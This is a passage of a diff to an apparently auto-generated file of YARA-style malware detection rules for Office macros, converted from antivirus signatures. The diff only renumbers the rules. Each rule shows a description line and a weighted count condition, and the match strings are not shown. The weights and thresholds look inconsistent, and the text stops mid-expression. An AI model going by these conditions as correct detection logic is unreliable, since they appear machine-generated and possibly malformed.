"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313300,7 +329820,7 @@ rule _InfrastructureShared_24048{ ((#a_53_0 & 1)*19747+(#a_4e_1 & 1)*31301+(#a_3d_2 & 1)*317+(#a_67_3 & 1)*14458+(#a_6d_4 & 1)*29541) >=5 } -rule _InfrastructureShared_24049{ +rule _InfrastructureShared_25337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -313311,7 +329831,7 @@ rule _InfrastructureShared_24049{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656) >=2 } -rule _InfrastructureShared_24050{ +rule _InfrastructureShared_25338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -313322,7 +329842,7 @@ rule _InfrastructureShared_24050{ ((#a_53_0 & 1)*19747+(#a_33_1 & 1)*13929) >=2 } -rule _InfrastructureShared_24051{ +rule _InfrastructureShared_25339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313334,7 +329854,7 @@ rule _InfrastructureShared_24051{ ((#a_53_0 & 1)*19747+(#a_49_1 & 1)*29763+(#a_2b_2 & 1)*8771) >=3 } -rule _InfrastructureShared_24052{ +rule _InfrastructureShared_25340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313346,7 +329866,7 @@ rule _InfrastructureShared_24052{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_32_2 & 1)*18004) >=3 } -rule _InfrastructureShared_24053{ +rule _InfrastructureShared_25341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313359,7 +329879,7 @@ rule _InfrastructureShared_24053{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*8736+(#a_03_2 & 1)*-28637+(#a_2e_3 & 1)*656) >=4 } -rule _InfrastructureShared_24054{ +rule _InfrastructureShared_25342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -313369,7 +329889,7 @@ rule _InfrastructureShared_24054{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_24055{ +rule _InfrastructureShared_25343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -313379,7 +329899,7 @@ rule _InfrastructureShared_24055{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_24056{ +rule _InfrastructureShared_25344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -313390,7 +329910,7 @@ rule _InfrastructureShared_24056{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*2573) >=2 } -rule _InfrastructureShared_24057{ +rule _InfrastructureShared_25345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313403,7 +329923,7 @@ rule _InfrastructureShared_24057{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6c_2 & 1)*30065+(#a_20_3 & 1)*-28614) >=4 } -rule _InfrastructureShared_24058{ +rule _InfrastructureShared_25346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313417,7 +329937,7 @@ rule _InfrastructureShared_24058{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*656+(#a_20_3 & 1)*-28640+(#a_90_4 & 1)*8194) >=5 } -rule _InfrastructureShared_24059{ +rule _InfrastructureShared_25347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -313429,7 +329949,7 @@ rule _InfrastructureShared_24059{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*8820+(#a_22_2 & 1)*8707) >=1 } -rule _InfrastructureShared_24060{ +rule _InfrastructureShared_25348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 15 00 21 " @@ -313459,7 +329979,7 @@ rule _InfrastructureShared_24060{ ((#a_53_0 & 1)*19747+(#a_42_1 & 1)*16710+(#a_51_2 & 1)*20848+(#a_54_3 & 1)*16721+(#a_54_4 & 1)*8515+(#a_50_5 & 1)*8235+(#a_43_6 & 1)*17498+(#a_6e_7 & 1)*17923+(#a_6e_8 & 1)*18004+(#a_6e_9 & 1)*12870+(#a_69_10 & 1)*8253+(#a_45_11 & 1)*21076+(#a_2b_12 & 1)*8768+(#a_90_13 & 1)*16386+(#a_20_14 & 1)*28516+(#a_20_15 & 1)*28014+(#a_3a_16 & 1)*30752+(#a_90_17 & 1)*8194+(#a_6e_18 & 1)*8250+(#a_70_19 & 1)*29283+(#a_02_20 & 1)*79) >=1 } -rule _InfrastructureShared_24061{ +rule _InfrastructureShared_25349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313471,7 +329991,7 @@ rule _InfrastructureShared_24061{ ((#a_53_0 & 1)*19747+(#a_5a_1 & 1)*20596+(#a_5a_2 & 1)*20575) >=3 } -rule _InfrastructureShared_24062{ +rule _InfrastructureShared_25350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313483,7 +330003,7 @@ rule _InfrastructureShared_24062{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_32_2 & 1)*18004) >=3 } -rule _InfrastructureShared_24063{ +rule _InfrastructureShared_25351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313496,7 +330016,7 @@ rule _InfrastructureShared_24063{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*9216+(#a_6e_3 & 1)*27758) >=4 } -rule _InfrastructureShared_24064{ +rule _InfrastructureShared_25352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -313507,7 +330027,7 @@ rule _InfrastructureShared_24064{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*14957) >=2 } -rule _InfrastructureShared_24065{ +rule _InfrastructureShared_25353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313519,7 +330039,7 @@ rule _InfrastructureShared_24065{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*28265+(#a_3d_2 & 1)*5378) >=3 } -rule _InfrastructureShared_24066{ +rule _InfrastructureShared_25354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313532,7 +330052,7 @@ rule _InfrastructureShared_24066{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*29954+(#a_20_2 & 1)*8224+(#a_90_3 & 1)*8235) >=4 } -rule _InfrastructureShared_24067{ +rule _InfrastructureShared_25355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313545,7 +330065,7 @@ rule _InfrastructureShared_24067{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*8812+(#a_6c_3 & 1)*25938+(#a_20_4 & 1)*30821) >=5 } -rule _InfrastructureShared_24068{ +rule _InfrastructureShared_25356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313559,7 +330079,7 @@ rule _InfrastructureShared_24068{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*26478+(#a_66_2 & 1)*11523+(#a_90_3 & 1)*7056+(#a_63_4 & 1)*30054) >=5 } -rule _InfrastructureShared_24069{ +rule _InfrastructureShared_25357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313573,7 +330093,7 @@ rule _InfrastructureShared_24069{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*26478+(#a_66_2 & 1)*11523+(#a_90_3 & 1)*7056+(#a_63_4 & 1)*30054) >=5 } -rule _InfrastructureShared_24070{ +rule _InfrastructureShared_25358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -313588,7 +330108,7 @@ rule _InfrastructureShared_24070{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25970+(#a_65_2 & 1)*24915+(#a_73_4 & 1)*-8192+(#a_70_5 & 1)*25901+(#a_6d_6 & 1)*17748) >=7 } -rule _InfrastructureShared_24071{ +rule _InfrastructureShared_25359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -313599,7 +330119,7 @@ rule _InfrastructureShared_24071{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*16708) >=2 } -rule _InfrastructureShared_24072{ +rule _InfrastructureShared_25360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -313613,7 +330133,7 @@ rule _InfrastructureShared_24072{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*28751+(#a_2e_2 & 1)*26465+(#a_4d_3 & 1)*8448+(#a_46_5 & 1)*27648) >=6 } -rule _InfrastructureShared_24073{ +rule _InfrastructureShared_25361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 15 00 21 " @@ -313643,7 +330163,7 @@ rule _InfrastructureShared_24073{ ((#a_53_0 & 1)*19747+(#a_42_1 & 1)*8+(#a_49_2 & 1)*16705+(#a_5a_3 & 1)*16721+(#a_62_4 & 1)*14930+(#a_41_5 & 1)*19773+(#a_44_6 & 1)*31317+(#a_72_7 & 1)*25940+(#a_30_8 & 1)*12611+(#a_37_9 & 1)*19763+(#a_62_10 & 1)*13127+(#a_35_11 & 1)*12594+(#a_63_12 & 1)*13921+(#a_90_13 & 1)*25972+(#a_90_14 & 1)*16386+(#a_65_15 & 1)*31092+(#a_54_16 & 1)*8526+(#a_70_17 & 1)*-28562+(#a_02_18 & 1)*12864+(#a_2b_19 & 1)*5888+(#a_02_20 & 1)*10350) >=1 } -rule _InfrastructureShared_24074{ +rule _InfrastructureShared_25362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -313654,7 +330174,7 @@ rule _InfrastructureShared_24074{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*19773) >=2 } -rule _InfrastructureShared_24075{ +rule _InfrastructureShared_25363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313666,7 +330186,7 @@ rule _InfrastructureShared_24075{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*13111+(#a_38_2 & 1)*14135) >=3 } -rule _InfrastructureShared_24076{ +rule _InfrastructureShared_25364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313678,7 +330198,7 @@ rule _InfrastructureShared_24076{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*656+(#a_6c_2 & 1)*29779) >=3 } -rule _InfrastructureShared_24077{ +rule _InfrastructureShared_25365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313692,7 +330212,7 @@ rule _InfrastructureShared_24077{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_20_2 & 1)*8226+(#a_41_3 & 1)*15619+(#a_02_4 & 1)*10341) >=5 } -rule _InfrastructureShared_24078{ +rule _InfrastructureShared_25366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313706,7 +330226,7 @@ rule _InfrastructureShared_24078{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*8311+(#a_48_3 & 1)*8993+(#a_3d_4 & 1)*5122) >=5 } -rule _InfrastructureShared_24079{ +rule _InfrastructureShared_25367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -313721,7 +330241,7 @@ rule _InfrastructureShared_24079{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*27745+(#a_65_2 & 1)*21251+(#a_31_3 & 1)*29295+(#a_6c_4 & 1)*273+(#a_6f_5 & 1)*8765) >=6 } -rule _InfrastructureShared_24080{ +rule _InfrastructureShared_25368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313733,7 +330253,7 @@ rule _InfrastructureShared_24080{ ((#a_6c_0 & 1)*16675+(#a_65_1 & 1)*24932+(#a_63_2 & 1)*26723) >=3 } -rule _InfrastructureShared_24081{ +rule _InfrastructureShared_25369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313745,7 +330265,7 @@ rule _InfrastructureShared_24081{ ((#a_53_0 & 1)*19747+(#a_49_1 & 1)*29763+(#a_2b_2 & 1)*8771) >=3 } -rule _InfrastructureShared_24082{ +rule _InfrastructureShared_25370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313757,7 +330277,7 @@ rule _InfrastructureShared_24082{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*27968+(#a_74_2 & 1)*16686) >=3 } -rule _InfrastructureShared_24083{ +rule _InfrastructureShared_25371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313769,7 +330289,7 @@ rule _InfrastructureShared_24083{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6f_2 & 1)*11779) >=3 } -rule _InfrastructureShared_24084{ +rule _InfrastructureShared_25372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313782,7 +330302,7 @@ rule _InfrastructureShared_24084{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_4d_2 & 1)*15619+(#a_6e_3 & 1)*19488) >=4 } -rule _InfrastructureShared_24085{ +rule _InfrastructureShared_25373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313795,7 +330315,7 @@ rule _InfrastructureShared_24085{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*28769+(#a_2e_2 & 1)*656+(#a_52_3 & 1)*15648) >=4 } -rule _InfrastructureShared_24086{ +rule _InfrastructureShared_25374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313808,7 +330328,7 @@ rule _InfrastructureShared_24086{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11040+(#a_25_2 & 1)*-28640+(#a_72_3 & 1)*25714) >=5 } -rule _InfrastructureShared_24087{ +rule _InfrastructureShared_25375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313822,7 +330342,7 @@ rule _InfrastructureShared_24087{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*25923+(#a_74_2 & 1)*25960+(#a_52_3 & 1)*21320+(#a_74_4 & 1)*8253) >=5 } -rule _InfrastructureShared_24088{ +rule _InfrastructureShared_25376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -313837,7 +330357,7 @@ rule _InfrastructureShared_24088{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*12899+(#a_77_2 & 1)*23653+(#a_6c_3 & 1)*21280+(#a_6c_4 & 1)*22116+(#a_74_5 & 1)*31059) >=6 } -rule _InfrastructureShared_24089{ +rule _InfrastructureShared_25377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -313853,7 +330373,7 @@ rule _InfrastructureShared_24089{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*25701+(#a_61_2 & 1)*29295+(#a_54_5 & 1)*18509+(#a_02_6 & 1)*28480+(#a_74_7 & 1)*25970+(#a_20_8 & 1)*-28626) >=9 } -rule _InfrastructureShared_24090{ +rule _InfrastructureShared_25378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313865,7 +330385,7 @@ rule _InfrastructureShared_24090{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*29184) >=3 } -rule _InfrastructureShared_24091{ +rule _InfrastructureShared_25379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313878,7 +330398,7 @@ rule _InfrastructureShared_24091{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*27760+(#a_66_2 & 1)*5378+(#a_02_3 & 1)*8236) >=4 } -rule _InfrastructureShared_24092{ +rule _InfrastructureShared_25380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313890,7 +330410,7 @@ rule _InfrastructureShared_24092{ ((#a_53_0 & 1)*19747+(#a_49_1 & 1)*29763+(#a_2b_2 & 1)*8771) >=3 } -rule _InfrastructureShared_24093{ +rule _InfrastructureShared_25381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313903,7 +330423,7 @@ rule _InfrastructureShared_24093{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6e_2 & 1)*17198+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_24094{ +rule _InfrastructureShared_25382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313916,7 +330436,7 @@ rule _InfrastructureShared_24094{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*28532+(#a_2e_2 & 1)*8704+(#a_6c_3 & 1)*10597) >=4 } -rule _InfrastructureShared_24095{ +rule _InfrastructureShared_25383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -313927,7 +330447,7 @@ rule _InfrastructureShared_24095{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*17964) >=1 } -rule _InfrastructureShared_24096{ +rule _InfrastructureShared_25384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -313939,7 +330459,7 @@ rule _InfrastructureShared_24096{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_32_2 & 1)*18004) >=4 } -rule _InfrastructureShared_24097{ +rule _InfrastructureShared_25385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313953,7 +330473,7 @@ rule _InfrastructureShared_24097{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*29793+(#a_5f_2 & 1)*13166+(#a_6e_3 & 1)*17258+(#a_46_4 & 1)*29811) >=5 } -rule _InfrastructureShared_24098{ +rule _InfrastructureShared_25386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -313971,7 +330491,7 @@ rule _InfrastructureShared_24098{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*26948+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_26_4 & 1)*0+(#a_20_5 & 1)*16386+(#a_02_6 & 1)*29504+(#a_42_7 & 1)*19745+(#a_01_8 & 1)*1) >=9 } -rule _InfrastructureShared_24099{ +rule _InfrastructureShared_25387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -313983,7 +330503,7 @@ rule _InfrastructureShared_24099{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_74_2 & 1)*28277) >=3 } -rule _InfrastructureShared_24100{ +rule _InfrastructureShared_25388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -313996,7 +330516,7 @@ rule _InfrastructureShared_24100{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*28792+(#a_01_2 & 1)*30821+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_24101{ +rule _InfrastructureShared_25389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314009,7 +330529,7 @@ rule _InfrastructureShared_24101{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8300+(#a_26_2 & 1)*25965+(#a_3d_3 & 1)*30064) >=4 } -rule _InfrastructureShared_24102{ +rule _InfrastructureShared_25390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314022,7 +330542,7 @@ rule _InfrastructureShared_24102{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*9760+(#a_28_2 & 1)*26691+(#a_72_3 & 1)*17184) >=4 } -rule _InfrastructureShared_24103{ +rule _InfrastructureShared_25391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314035,7 +330555,7 @@ rule _InfrastructureShared_24103{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*29288+(#a_20_2 & 1)*24165+(#a_63_3 & 1)*27234) >=4 } -rule _InfrastructureShared_24104{ +rule _InfrastructureShared_25392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314049,7 +330569,7 @@ rule _InfrastructureShared_24104{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28621+(#a_02_2 & 1)*24352+(#a_72_4 & 1)*17696+(#a_3d_5 & 1)*801) >=6 } -rule _InfrastructureShared_24105{ +rule _InfrastructureShared_25393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314065,7 +330585,7 @@ rule _InfrastructureShared_24105{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28621+(#a_02_2 & 1)*24352+(#a_6f_3 & 1)*29795+(#a_6d_4 & 1)*656+(#a_20_5 & 1)*656+(#a_32_6 & 1)*21591) >=7 } -rule _InfrastructureShared_24106{ +rule _InfrastructureShared_25394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314077,7 +330597,7 @@ rule _InfrastructureShared_24106{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_3d_3 & 1)*17408) >=4 } -rule _InfrastructureShared_24107{ +rule _InfrastructureShared_25395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -314088,7 +330608,7 @@ rule _InfrastructureShared_24107{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674) >=2 } -rule _InfrastructureShared_24108{ +rule _InfrastructureShared_25396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314101,7 +330621,7 @@ rule _InfrastructureShared_24108{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*29228+(#a_6e_2 & 1)*26996+(#a_48_3 & 1)*8448) >=4 } -rule _InfrastructureShared_24109{ +rule _InfrastructureShared_25397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 04 00 21 " @@ -314113,7 +330633,7 @@ rule _InfrastructureShared_24109{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*28719+(#a_74_2 & 1)*25669) >=5 } -rule _InfrastructureShared_24110{ +rule _InfrastructureShared_25398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -314125,7 +330645,7 @@ rule _InfrastructureShared_24110{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*24947+(#a_72_2 & 1)*30066) >=1 } -rule _InfrastructureShared_24111{ +rule _InfrastructureShared_25399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314137,7 +330657,7 @@ rule _InfrastructureShared_24111{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740+(#a_20_2 & 1)*26479) >=3 } -rule _InfrastructureShared_24112{ +rule _InfrastructureShared_25400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314150,7 +330670,7 @@ rule _InfrastructureShared_24112{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*10752+(#a_02_3 & 1)*10349) >=4 } -rule _InfrastructureShared_24113{ +rule _InfrastructureShared_25401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314162,7 +330682,7 @@ rule _InfrastructureShared_24113{ ((#a_53_0 & 1)*19747+(#a_32_1 & 1)*28014+(#a_38_2 & 1)*13106) >=3 } -rule _InfrastructureShared_24114{ +rule _InfrastructureShared_25402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314178,7 +330698,7 @@ rule _InfrastructureShared_24114{ ((#a_53_0 & 1)*19747+(#a_46_1 & 1)*6912+(#a_6c_2 & 1)*29472+(#a_6c_3 & 1)*26707+(#a_54_4 & 1)*19525+(#a_69_5 & 1)*8302+(#a_61_6 & 1)*25971) >=7 } -rule _InfrastructureShared_24115{ +rule _InfrastructureShared_25403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314194,7 +330714,7 @@ rule _InfrastructureShared_24115{ ((#a_4c_0 & 1)*21539+(#a_4f_1 & 1)*29798+(#a_77_2 & 1)*29807+(#a_20_3 & 1)*8293+(#a_41_4 & 1)*27753+(#a_2f_5 & 1)*28265+(#a_45_6 & 1)*18512) >=7 } -rule _InfrastructureShared_24116{ +rule _InfrastructureShared_25404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -314205,7 +330725,7 @@ rule _InfrastructureShared_24116{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*19050) >=2 } -rule _InfrastructureShared_24117{ +rule _InfrastructureShared_25405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -314218,7 +330738,7 @@ rule _InfrastructureShared_24117{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28498+(#a_5c_2 & 1)*29793+(#a_6e_3 & 1)*19488) >=2 } -rule _InfrastructureShared_24118{ +rule _InfrastructureShared_25406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314232,7 +330752,7 @@ rule _InfrastructureShared_24118{ ((#a_53_0 & 1)*19747+(#a_32_1 & 1)*20304+(#a_01_2 & 1)*8226+(#a_50_3 & 1)*28007+(#a_75_4 & 1)*2) >=5 } -rule _InfrastructureShared_24119{ +rule _InfrastructureShared_25407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314245,7 +330765,7 @@ rule _InfrastructureShared_24119{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*28968+(#a_64_2 & 1)*10281+(#a_54_4 & 1)*18509) >=5 } -rule _InfrastructureShared_24120{ +rule _InfrastructureShared_25408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314259,7 +330779,7 @@ rule _InfrastructureShared_24120{ ((#a_53_0 & 1)*19747+(#a_49_1 & 1)*3842+(#a_70_2 & 1)*785+(#a_73_3 & 1)*8292+(#a_65_4 & 1)*8236) >=5 } -rule _InfrastructureShared_24121{ +rule _InfrastructureShared_25409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314274,7 +330794,7 @@ rule _InfrastructureShared_24121{ ((#a_4c_0 & 1)*21539+(#a_26_1 & 1)*26740+(#a_20_2 & 1)*25968+(#a_6e_3 & 1)*21032+(#a_73_4 & 1)*24899+(#a_90_5 & 1)*25960) >=6 } -rule _InfrastructureShared_24122{ +rule _InfrastructureShared_25410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 10 00 21 " @@ -314297,7 +330817,7 @@ rule _InfrastructureShared_24122{ ((#a_53_0 & 1)*19747+(#a_4c_1 & 1)*260+(#a_45_3 & 1)*29443+(#a_6c_4 & 1)*513+(#a_2e_5 & 